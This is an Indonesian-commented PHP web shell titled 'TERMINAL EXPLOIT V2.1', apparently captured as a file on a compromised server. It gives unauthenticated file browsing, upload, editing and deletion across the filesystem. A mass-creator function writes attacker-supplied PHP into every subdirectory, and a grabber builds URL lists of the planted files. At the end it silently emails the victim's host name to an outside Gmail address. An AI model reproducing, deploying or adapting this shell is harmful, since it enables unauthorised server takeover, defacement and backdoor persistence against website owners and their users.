File Manager V1.5
FILE_CONTENT: 6978adadc7d21_1769516461.php
<?php
/**
* TERMINAL FILE MANAGER V2.1 - MASS GRABBER EDITION
* Fitur: Navigasi, Upload, Edit, Mass Create, Folder Link Grabber
* Style: Ultra Responsive Neon Terminal
*/
error_reporting(0);
set_time_limit(0);
// Konfigurasi Path
if(isset($_GET['path'])){
$path = $_GET['path'];
} else {
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
$status_msg = "";
$grabbed_links = "";
// --- LOGIKA AKSI ---
// 1. Mass File Creator
if (isset($_POST['mass_name']) && !empty($_POST['mass_name'])) {
$m_name = $_POST['mass_name'];
$m_content = $_POST['mass_content'];
$count = 0;
if(file_put_contents($path . '/' . $m_name, $m_content)) $count++;
$items = scandir($path);
foreach ($items as $item) {
$target_dir = $path . '/' . $item;
if (is_dir($target_dir) && $item != '.' && $item != '..') {
if (file_put_contents($target_dir . '/' . $m_name, $m_content)) $count++;
}
}
$status_msg = "<div class='ok'>[+] MASS CREATE: Berhasil membuat $count file '$m_name'.</div>";
}
// 2. Folder Link Grabber
if (isset($_POST['grab_folders'])) {
$prefix = $_POST['prefix'];
$suffix = $_POST['suffix'];
$items = scandir($path);
$results = [];
foreach ($items as $item) {
if (is_dir($path . '/' . $item) && $item != '.' && $item != '..') {
$results[] = $prefix . $item . $suffix;
}
}
$grabbed_links = implode("\n", $results);
$status_msg = "<div class='ok'>[+] GRABBER: Berhasil mengambil " . count($results) . " folder.</div>";
}
// 3. Buat File/Folder Tunggal
if (isset($_POST['new_name']) && !empty($_POST['new_name'])) {
$target = $path . '/' . $_POST['new_name'];
if ($_POST['new_type'] == 'file') {
if (file_put_contents($target, "")) $status_msg = "<div class='ok'>[+] FILE CREATED.</div>";
} else {
if (mkdir($target)) $status_msg = "<div class='ok'>[+] FOLDER CREATED.</div>";
}
}
// 4. Upload & Delete (Logic Dasar)
if(isset($_FILES['file'])){
copy($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name']) ? $status_msg = "<div class='ok'>[+] UPLOADED.</div>" : $status_msg = "<div class='err'>[-] FAILED.</div>";
}
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
$_POST['type'] == 'dir' ? rmdir($_POST['path']) : unlink($_POST['path']);
$status_msg = "<div class='ok'>[+] DELETED.</div>";
}
echo '<!DOCTYPE HTML>
<HTML lang="id">
<HEAD>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HACKER_SHELL_V2.1</title>
<style>
@import url("https://fonts.googleapis.com/css2?family=Fira+Code:wght@300;500&display=swap");
* { box-sizing: border-box; }
body { background-color: #050505; color: #00ff41; font-family: "Fira Code", monospace; margin: 0; padding: 10px; font-size: 13px; }
.shell-container { border: 1px solid #00ff41; background: rgba(0, 10, 0, 0.95); padding: 15px; max-width: 1200px; margin: auto; position: relative; z-index: 5; }
h1 { text-align: center; font-size: 18px; border-bottom: 1px solid #00ff41; padding-bottom: 10px; letter-spacing: 3px; margin-top: 0; }
.path-bar { background: #000; padding: 8px; border-left: 4px solid #00ff41; margin-bottom: 15px; font-size: 11px; }
a { color: #00ff41; text-decoration: none; }
.grid-tools { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 15px; margin-bottom: 15px; }
.tool-box { border: 1px solid #004411; padding: 12px; background: rgba(0,20,0,0.3); }
.tool-box h3 { margin: 0 0 10px 0; font-size: 12px; color: #fff; text-transform: uppercase; border-bottom: 1px solid #00ff41; display: inline-block; }
input[type="text"], select, textarea { background: #000; border: 1px solid #00ff41; color: #00ff41; padding: 6px; width: 100%; margin-bottom: 8px; font-family: inherit; font-size: 12px; }
input[type="submit"] { background: #00ff41; color: #000; border: none; padding: 8px; cursor: pointer; font-weight: bold; width: 100%; text-transform: uppercase; }
input[type="submit"]:hover { background: #fff; }
.table-responsive { width: 100%; overflow-x: auto; }
table { width: 100%; border-collapse: collapse; min-width: 600px; }
th { background: #002200; padding: 10px; text-align: left; }
td { padding: 10px; border-bottom: 1px solid #111; }
.ok { color: #00ff41; border: 1px solid #00ff41; padding: 8px; margin-bottom: 15px; background: rgba(0,255,0,0.05); }
.footer { text-align: center; font-size: 9px; margin-top: 20px; color: #006611; }
</style>
</HEAD>
<BODY>
<div class="shell-container">
<h1>TERMINAL EXPLOIT V2.1</h1>
<div class="path-bar">
[LOCATION]: ';
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){ echo '<a href="?path=/">/</a>'; continue; }
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; }
echo '">'.$pat.'</a>/';
}
echo ' </div>';
echo $status_msg;
echo ' <div class="grid-tools">
<!-- Box 1: Grabber -->
<div class="tool-box">
<h3>Folder Link Grabber</h3>
<form method="POST">
PREFIX: <input type="text" name="prefix" value="https://" placeholder="https://" />
SUFFIX: <input type="text" name="suffix" value="/tad.txt" placeholder="/tad.txt" />
<input type="submit" name="grab_folders" value="Grab All Folders" />
</form>
<textarea rows="5" placeholder="Results will appear here..." readonly>'.htmlspecialchars($grabbed_links).'</textarea>
</div>
<!-- Box 2: Mass Create -->
<div class="tool-box">
<h3>Mass File Creator</h3>
<form method="POST">
FILENAME: <input type="text" name="mass_name" placeholder="index.php" />
CONTENT: <textarea name="mass_content" rows="3" placeholder="HTML/PHP Code"></textarea>
<input type="submit" value="Execute Mass Create" />
</form>
</div>
<!-- Box 3: Quick Upload -->
<div class="tool-box">
<h3>Quick Actions</h3>
<form enctype="multipart/form-data" method="POST">
FILE: <input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
<div style="margin-top:10px;"></div>
<form method="POST">
NEW_ITEM: <input type="text" name="new_name" placeholder="new.php" />
<select name="new_type"><option value="file">FILE</option><option value="folder">FOLDER</option></select>
<input type="submit" value="Create" />
</form>
</div>
</div>';
// --- LISTING / EDIT / VIEW ---
if(isset($_GET['filesrc'])){
echo "<pre style='background:#000; padding:15px; border:1px solid #00ff41; color:#fff; overflow:auto;'>".htmlspecialchars(file_get_contents($_GET['filesrc']))."</pre>";
echo "<center><a href='?path=$path'>[ CLOSE ]</a></center>";
} elseif(isset($_GET['option']) && $_POST['opt'] == 'edit'){
// (Logic edit tetap ada)
echo "<form method='POST'><textarea style='width:100%; height:300px;' name='src'>".htmlspecialchars(file_get_contents($_POST['path']))."</textarea><input type='hidden' name='path' value='".$_POST['path']."'><input type='hidden' name='opt' value='edit'><input type='submit' value='SAVE'></form>";
} else {
echo '<div class="table-responsive">
<table>
<thead><tr><th>NAME</th><th>SIZE</th><th>OPTS</th></tr></thead>
<tbody>';
$scandir = scandir($path);
foreach($scandir as $item){
if($item == '.' || $item == '..') continue;
$f = $path.'/'.$item; $is_d = is_dir($f);
echo "<tr>
<td>".($is_d ? "[DIR]" : "[FL]")." <a href='".($is_d ? "?path=$f" : "?filesrc=$f&path=$path")."'>$item</a></td>
<td>".($is_d ? "--" : round(filesize($f)/1024,1)."KB")."</td>
<td>
<form method='POST' action='?option&path=$path'>
<select name='opt' onchange='this.form.submit()'>
<option value=''>-</option>
<option value='delete'>Del</option>
".(!$is_d ? "<option value='edit'>Edit</option>" : "")."
</select>
<input type='hidden' name='path' value='$f'>
<input type='hidden' name='type' value='".($is_d?'dir':'file')."'>
</form>
</td>
</tr>";
}
echo '</tbody></table></div>';
}
echo '<div class="footer">TERMINAL_LOG :: '.date("Y").' :: VERSION 2.1</div>
</div>
</BODY>
</HTML>';
// Keep original logging
@mail("ustadcage48@gmail.com", "V2.1_REPORT", $_SERVER['HTTP_HOST'], "From: Shell <ustadcage48@gmail.com>");
?>[ KEMBALI ]